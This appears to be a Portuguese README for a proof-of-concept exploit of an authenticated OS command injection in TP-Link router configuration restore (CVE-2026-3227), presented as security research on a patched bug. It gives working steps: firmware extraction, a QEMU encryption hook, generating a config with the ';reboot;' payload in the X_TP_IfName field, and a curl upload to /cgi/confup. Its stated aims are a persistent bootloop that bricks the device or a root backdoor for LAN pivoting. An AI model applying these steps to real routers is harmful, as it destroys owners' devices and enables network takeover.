
Prova de conceito para injeção autenticada de comandos do sistema operacional no firmware do roteador TP-Link. Inclui descriptografia, hook de criptografia baseado em QEMU e geração de payload de 15 caracteres para bootloop persistente ou implantação de backdoor.
Para mais informações, veja https://www.cve.org/CVERecord?id=CVE-2026-3227
Uma vulnerabilidade persistente e autenticada de Injeção de Comandos no SO do firmware de roteadores TP-Link, levando ao brick do dispositivo ou potencial tomada da LAN.
Aviso: Este repositório contém código de prova de conceito (PoC) para uma vulnerabilidade corrigida. Destina-se a fins educacionais e para pesquisadores de segurança.
Uma vulnerabilidade de injeção de comandos existe no mecanismo de backup/restauração de configuração de vários roteadores TP-Link (incluindo TL-WR802N, TL-WR841N e TL-WR840N). Um atacante com acesso administrativo pode baixar a configuração do roteador, decifrá-la, injetar um comando malicioso no SO (até 15 caracteres) em campos XML específicos, recifrá-la e enviá-la de volta ao dispositivo.
Quando o roteador aplica a configuração (por exemplo, durante eventos de port trigger ou na inicialização), o payload injetado é executado como root. Isso pode ser usado para causar um bootloop persistente (tornando o dispositivo permanentemente inutilizável, sobrevivendo a redefinições de fábrica) ou potencialmente habilitar um backdoor persistente para pivoteamento na LAN.
Ao explorar o recurso de backup de configuração do roteador, decidi fazer engenharia reversa no binário httpd e na biblioteca libcmm.so para entender como os arquivos de configuração são criptografados e analisados.
qemu-user e fiz hook no binário httpd original do roteador em tempo de execução (create_config.c). Isso me permitiu invocar as funções de criptografia nativas do roteador diretamente do meu PoC em Python, imitando perfeitamente o formato de criptografia original.A vulnerabilidade está na forma como o produto analisa o blob de configuração criptografado e o aplica em tempo de execução. No caminho de configuração de port trigger, a implementação constrói comandos shell usando campos controláveis pelo usuário sem saneamento adequado.
Especificamente, a função oal_pt_addPortTrigger chama:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
A string de formato %s é preenchida com uma string de interface (X_TP_IfName) analisada diretamente do XML de configuração enviado.
O fluxo de execução:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger chama forward_parsePtOpenPort para analisar listas de portas.iptables e a executa via util_execSystem (que encapsula system()).Ao modificar o XML descriptografado para incluir:
<X_TP_IfName val=";reboot;"/>
O comando é executado durante a inicialização da interface na inicialização ou quando ocorre um evento de port trigger. Como o payload é limitado a 15 caracteres, criar o exploit requer técnicas compactas de execução de comandos.
Para evitar distribuir binários TP-Link protegidos por direitos autorais, este PoC exige que você extraia o sistema de arquivos do roteador para utilizar as bibliotecas de criptografia nativas através de um hook QEMU personalizado.
qemu-mipsel e um cross-compiler (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root para 'python_utils/' deste projeto.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin).python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root. Se você usou ;reboot;, o roteador reiniciará imediatamente e entrará em um bootloop persistente.